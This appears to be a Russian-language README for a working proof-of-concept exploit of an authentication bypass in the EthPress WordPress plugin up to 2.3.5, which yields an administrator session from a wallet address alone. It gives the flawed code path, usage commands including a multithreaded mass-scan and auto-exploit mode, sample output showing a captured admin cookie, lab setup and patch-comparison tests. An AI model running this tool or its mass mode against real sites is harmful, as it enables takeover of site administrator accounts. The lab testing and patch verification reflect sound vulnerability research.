
Проверенный proof-of-concept, эксплуатирующий обход аутентификации без аутентификации в EthPress <= 2.3.5, предоставляющий сессию администратора WordPress через адрес кошелька.
Рабочий, проверенный proof-of-concept для обхода аутентификации через вход в кошелёк EthPress, разработанный и проверенный на локальной лаборатории X-1.
RAZZ, user id 1, roles=['administrator']), используя только публичный адрес кошелька.http://localhost:8080 — WordPress + MySQL (Docker, wp_app/wp_db)_plugin-reference/app/Login.php::verify_login() (v2.3.5) проверяет подпись кошелька, создаёт WP_Error при неудачной проверке — и затем забывает вернуть результат:
51 if ( !$verified ) {
52 $user = new \WP_Error('ethpress', $verify_error); // dead store, no return
53 }
54 // Log in. // fall-through
55 try {
...
70 $user = $address->log_in(); // wp_set_auth_cookie()
Выполнение продолжается в блок входа, Address::log_in() сопоставляет предоставленный злоумышленником адрес кошелька с владеющим им пользователем WordPress, и wp_set_auth_cookie() аутентифицирует этого пользователя. Ответ — {"success":true,"data":{"message":"Logged in"}}.
# single target
python3 poc.py -u http://localhost:8080 -a 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a
# mass mode (file of targets, 20 threads, JSONL log)
python3 poc.py -f targets.txt -t 20 -o results.jsonl -a 0xVICTIMWALLET
# several candidate addresses against several targets
python3 poc.py -f targets.txt -af addresses.txt -t 20 -o results.jsonl
| Флаг | Значение |
|---|---|
-f, --file | файл с URL целей (по одному в строке, комментарии #) для массового сканирования + автоэксплуатации |
-t, --threads | количество параллельных рабочих потоков (по умолчанию 10) |
-o, --output | путь для вывода/лога, JSON Lines (по умолчанию cve-2026-19125-results.jsonl) |
-u, --url | URL одной цели (можно повторять) |
-a, --address | адрес кошелька жертвы, привязанный к учётной записи WordPress |
-af, --address-file | файл с адресами кошельков-кандидатов |
-k, --private-key | приватный ключ злоумышленника в hex (по умолчанию: новый случайный ключ для каждой атаки) |
--timeout | таймаут HTTP в секундах (по умолчанию 20) |
--verify-tls | проверять TLS-сертификаты |
-q, --quiet | подавлять строки прогресса по каждой цели |
requests — единственная зависимость (pip install requests). Вся криптография Ethereum (Keccak-256, secp256k1, подпись RFC 6979, восстановление адреса) реализована внутри poc.py только на стандартной библиотеке.
[*] attacker wallet : fresh random key generated per attack
[*] targets=1 addresses=1 jobs=1 threads=1
[*] http://localhost:8080 EXPLOITED authentication cookie accepted by WordPress (full administrator confirmed)
[!] !! EXPLOITED http://localhost:8080 as user id=1 login=RAZZ roles=['administrator'] (primitive: valid-signature)
[!] !! session cookie: wordpress_logged_in_37d007a5...=RAZZ%7C1790339157%7C...
GET /wp-login.php и чтение ethpressLoginWP.loginNonce. Это wp_create_nonce('ethpress_log_in'), созданный для анонимной (uid=0) сессии, и поэтому он действителен для собственного неаутентифицированного AJAX-запроса злоумышленника.coinbase. verify2() возвращает [false, error] — и 2.3.5 отбрасывает это. (Полностью пустая подпись тоже работает; poc.py автоматически переключается на неё.)/wp-admin/, извлечь REST nonce сессии и вызвать /wp/v2/users/me?context=edit → реальный user id, логин и роли; плюс проверить доступ к четырём экранам, доступным только администратору.| Тест | Сборка | Ожидалось | Наблюдалось | Артефакт |
|---|---|---|---|---|
| Позитивный эксплойт, привязанный адрес администратора | 2.3.5 | захват | id=1 RAZZ roles=['administrator'], все 4 админ-возможности | results.jsonl, evidence/run-positive.log |
| Негативный контроль, непривязанный адрес | 2.3.5 | нет сессии | "You have not registered on this site" | results-neg.jsonl |
| Контроль на пропатченной версии, оба примитива | 2.3.6 | отклонено | "Failed to verify signature. The address ... extracted ..." | results-patched.jsonl, evidence/run-patched-236.log |
| Воспроизведение сырым curl, без инструментов | 2.3.5 | `Set-Cookie: ...=RAZZ | ...` | подтверждено |
| Матрица границ входных данных подписи | 2.3.5 | смешанно | 2 детерминированных примитива; случайные блобы ≈50/50 или HTTP 500 | evidence/boundary-matrix.txt |
users_can_register=1, непривязанный адрес | 2.3.5 | сессия нового подписчика | пользователь 0xAAAA... создан с ролью subscriber, выполнен вход (затем удалён) | evidence/results-registration-open.jsonl |
Воспроизвести любой из них:
bash lab-switch-version.sh 2.3.6 # patched -> exploit fails
bash lab-switch-version.sh 2.3.5 # vulnerable -> exploit succeeds
bash evidence/raw-repro.sh # tool-free curl transcript
python3 boundary-test.py # signature-input matrix
# plugin availability (official source only)
curl -s -o /dev/null -w '%{http_code}\n' https://wordpress.org/plugins/ethpress/ # 200
# vulnerable build installed and active
docker cp /tmp/plugin-src/ethpress/vulnerable-extracted/ethpress \
wp_app:/var/www/html/wp-content/plugins/ethpress
docker exec wp_app sh -c 'chown -R www-data:www-data /var/www/html/wp-content/plugins/ethpress \
&& find /var/www/html/wp-content/plugins/ethpress -type d -exec chmod 755 {} + \
&& find /var/www/html/wp-content/plugins/ethpress -type f -exec chmod 644 {} +'
docker exec wp_app wp plugin activate ethpress --allow-root # version 2.3.5
# precondition: admin (id=1 RAZZ) has a linked wallet address
docker exec wp_app wp user meta update 1 ethpress 0x19e7e376e7c213b7e7e7e46cc70a5dd086daff2a --allow-root
wp user meta update записывает ровно тот ключ хранения, который записывает собственный Address::create() плагина (update_user_meta($uid, 'ethpress', $coinbase)), поэтому предусловие создаётся легитимным способом — без искусственного ослабления цели.
Эталонные сборки для сравнения находятся вне каталога плагинов: ../_plugin-reference/ethpress/{vulnerable,latest}.
Замена версий плагина на месте, пока Apache продолжает работать, оставляет старый скомпилированный байткод в OPcache. Затем PHP продолжает выполнять файлы предыдущей версии; поскольку freemius/start.php:584 в 2.3.6 требует freemius/require.php → includes/class-fs-hook-snapshot.php (файл, который существует только в 2.3.6), сайт возвращал HTTP 500, хотя на диске была 2.3.5. Теперь lab-switch-version.sh перезапускает wp_app после каждого переключения и ждёт, пока /wp-login.php вернёт 200. Всегда подтверждайте работающую версию, а не только ту, что на диске.
| Код | Значение |
|---|---|
0 | как минимум одна цель была EXPLOITED |
1 | выполнение прошло нормально, ни одна цель не эксплуатирована |
2 | неверное использование — отсутствующий/нечитаемый входной файл или не указан адрес кошелька |
-a — единственное, что нужно указать правильно